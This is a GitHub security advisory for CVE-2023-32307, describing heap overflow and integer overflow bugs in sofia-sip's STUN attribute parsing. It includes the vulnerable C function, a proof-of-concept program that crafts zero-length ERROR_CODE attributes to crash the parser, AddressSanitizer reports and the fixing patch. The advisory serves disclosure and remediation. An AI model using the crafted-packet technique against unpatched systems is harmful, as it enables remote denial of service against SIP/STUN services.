Skip to content

heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32

High
andywolk published GHSA-rm4c-ccvf-ff9c May 23, 2023

Package

sofia-sip (c)

Affected versions

<= 1.13.14

Patched versions

1.13.15

Description

Referring to GHSA-8599-x7rq-fr54, several other potential heap-over-flow and integer-overflow in stun_parse_attr_error_code and stun_parse_attr_uint32 were found because the lack of attributes length check when Sofia-SIP handles STUN packets.

The previous patch of GHSA-8599-x7rq-fr54 fixed the vulnerability when attr_type did not match the enum value, but there are also vulnerabilities in the handling of other valid cases.

OVERVIEW

For example, in stun_parse_attr_error_code which handles the ERROR_CODE(0x09) attribute, heap-over-flow and integer-overflow can be produced as comments:

int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsigned len) {

  uint32_t tmp;
  stun_attr_errorcode_t *error;

  memcpy(&tmp, p, sizeof(uint32_t));            // potential heap-over-flow here when len < 4
  tmp = ntohl(tmp);
  error = (stun_attr_errorcode_t *) malloc(sizeof(*error));

  error->code = (tmp & STUN_EC_CLASS)*100 + (tmp & STUN_EC_NUM);

  error->phrase = (char *) malloc(len-3);       // potential integer-overflow causing allocation-size-too-big when len < 3

  strncpy(error->phrase, (char*)p+4, len-4);    // if malloc failed, potential write to NULL
  error->phrase[len - 4] = '\0';                // same as above

  attr->pattr = error;
  stun_init_buffer(&attr->enc_buf);

  return 0;
}

IMPACT

The OOB read and integer-overflow made by attacker may lead to crash, high consumption of memory or even other more serious consequences.

REPRODUCTION

The POC is modified from the POC of GHSA-8599-x7rq-fr54:

// libsofia-sip-ua/stun/stun_attr_poc.c
// ./autogen.sh && CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure && make -j8 && cd libsofia-sip-ua/stun/
// gcc -fsanitize=address stun_attr_poc.c  -I ../.. -I ../su  -I ../url/ -I ../sip/ -I ../stun -o stun_attr_poc ../.libs/libsofia-sip-ua.a -lssl -lcrypto
// ./stun_attr_poc

#include "config.h"
#include "stun_internal.h"
#include <assert.h>
#include <string.h>
#include <stdlib.h>

#define STUN_HEADER_SIZE 20
#define STUN_ATTR_TYPE_SIZE 2
#define STUN_ATTR_LEN_SIZE 2
#define STUN_ATTR_VALUE_SIZE 0

// heap-over-flow in stun_parse_attr_error_code(), asan report see asan_report_1.txt
void poc_error_code_1() {
    const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
    unsigned char *stun_message = calloc(1, stun_message_size);
    if (stun_message == NULL)
    {
        perror("Failed to allocate stun_message");
        exit(EXIT_FAILURE);
    }
    stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
    stun_message[20] = 0x00; stun_message[21] = 0x09;   // attr_type = ERROR_CODE
    stun_message[22] = 0x00; stun_message[23] = 0x00;   // len = 0, can pass the existing check to stun_parse_attr_error_code()

    stun_msg_t request = {.stun_attr = NULL};
    request.enc_buf.data = stun_message;
    request.enc_buf.size = stun_message_size;

    stun_parse_message(&request); // heap-over-flow when 'memcpy(&tmp, p, sizeof(uint32_t));'

    free(stun_message);
}

// integer-overflow in stun_parse_attr_error_code(), asan report see asan_report_2.txt
void poc_error_code_2() {
    const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10;
    unsigned char *stun_message = calloc(1, stun_message_size);
    if (stun_message == NULL)
    {
        perror("Failed to allocate stun_message");
        exit(EXIT_FAILURE);
    }
    stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE + 10;
    stun_message[20] = 0x00; stun_message[21] = 0x09;   // attr_type = ERROR_CODE
    stun_message[22] = 0x00; stun_message[23] = 0x00;   // len = 0, can pass the existing check to stun_parse_attr_error_code()

    stun_msg_t request = {.stun_attr = NULL};
    request.enc_buf.data = stun_message;
    request.enc_buf.size = stun_message_size;

    stun_parse_message(&request); // integer-overflow when 'error->phrase = (char *) malloc(len-3);'

    free(stun_message);
}

int main(void)
{
    poc_error_code_1();
    
    /* Remove the comment here and comment out `poc_error_code_1` to trigger integer-overflow. */
    // poc_error_code_2();
    
    return 0;
}

AddressSanitizer reports (The second report may not appear on a 64-bit system, please pay attention to the memory usage.):

=================================================================
==14824==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5200b98 at pc 0x004246ad bp 0xbfe10598 sp 0xbfe1058c
READ of size 4 at 0xb5200b98 thread T0                                                                                                                              
    #0 0x4246ac in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253
    #1 0x423bc5 in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
    #2 0x423567 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
    #3 0x422e14 in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:34
    #4 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
    #5 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #6 0xb6e23357 in __libc_start_main_impl ../csu/libc-start.c:381
    #7 0x4229f6 in _start (/home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc+0x99f6)

0xb5200b98 is located 0 bytes to the right of 24-byte region [0xb5200b80,0xb5200b98)
allocated by thread T0 here:                                                                                                                                        
    #0 0xb78babab in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
    #1 0x422b8a in poc_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:20
    #2 0x422e97 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:41
    #3 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:253 in stun_parse_attr_error_code
Shadow bytes around the buggy address:
  0x36a40120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40160: fa fa fa fa fa fa fa fa fa fa 00 00 04 fa fa fa
=>0x36a40170: 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a40190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a401a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a401b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x36a401c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14824==ABORTING
=================================================================
==2219==ERROR: AddressSanitizer: requested allocation size 0xfffffffd (0x800 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0xc0000000 (thread T0)                                                                                                                                                  
    #0 0xb78baffb in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69                                                                
    #1 0x413b14 in stun_parse_attr_error_code /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:259
    #2 0x412f4f in stun_parse_attribute /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:167
    #3 0x4128f1 in stun_parse_message /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_common.c:109
    #4 0x41219e in poc_error_code_2 /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:56
    #5 0x412221 in main /home/kali/Desktop/sofia-sip-stun/libsofia-sip-ua/stun/stun_attr_oob_poc.c:65
    #6 0xb6e23294 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

==2219==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69 in __interceptor_malloc
==2219==ABORTING

SUPPOSED PATCH

From c3bbc50c88d168065de34ca01b9b1d98c1b0e810 Mon Sep 17 00:00:00 2001
From: Xu Biang <[email protected]>
Date: Sat, 6 May 2023 05:51:55 +0800
Subject: [PATCH] stun: add checks for attribute length before read from it

Signed-off-by: Xu Biang <[email protected]>
---
 libsofia-sip-ua/stun/stun_common.c | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/libsofia-sip-ua/stun/stun_common.c b/libsofia-sip-ua/stun/stun_common.c
index 87523ea..5891269 100644
--- a/libsofia-sip-ua/stun/stun_common.c
+++ b/libsofia-sip-ua/stun/stun_common.c
@@ -250,6 +250,10 @@ int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsign
   uint32_t tmp;
   stun_attr_errorcode_t *error;
 
+  if (len < 4) {
+    return -1;
+  }
+
   memcpy(&tmp, p, sizeof(uint32_t));
   tmp = ntohl(tmp);
   error = (stun_attr_errorcode_t *) malloc(sizeof(*error));
@@ -271,6 +275,11 @@ int stun_parse_attr_uint32(stun_attr_t *attr, const unsigned char *p, unsigned l
 {
   uint32_t tmp;
   stun_attr_changerequest_t *cr;
+
+  if (len < 4) {
+    return -1;
+  }
+
   cr = (stun_attr_changerequest_t *) malloc(sizeof(*cr));
   memcpy(&tmp, p, sizeof(uint32_t));
   cr->value = ntohl(tmp);
-- 
2.40.0.windows.1

This patch has been merged in #214 .

CREDIT

Xu Biang, HUST CSE.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-32307

Credits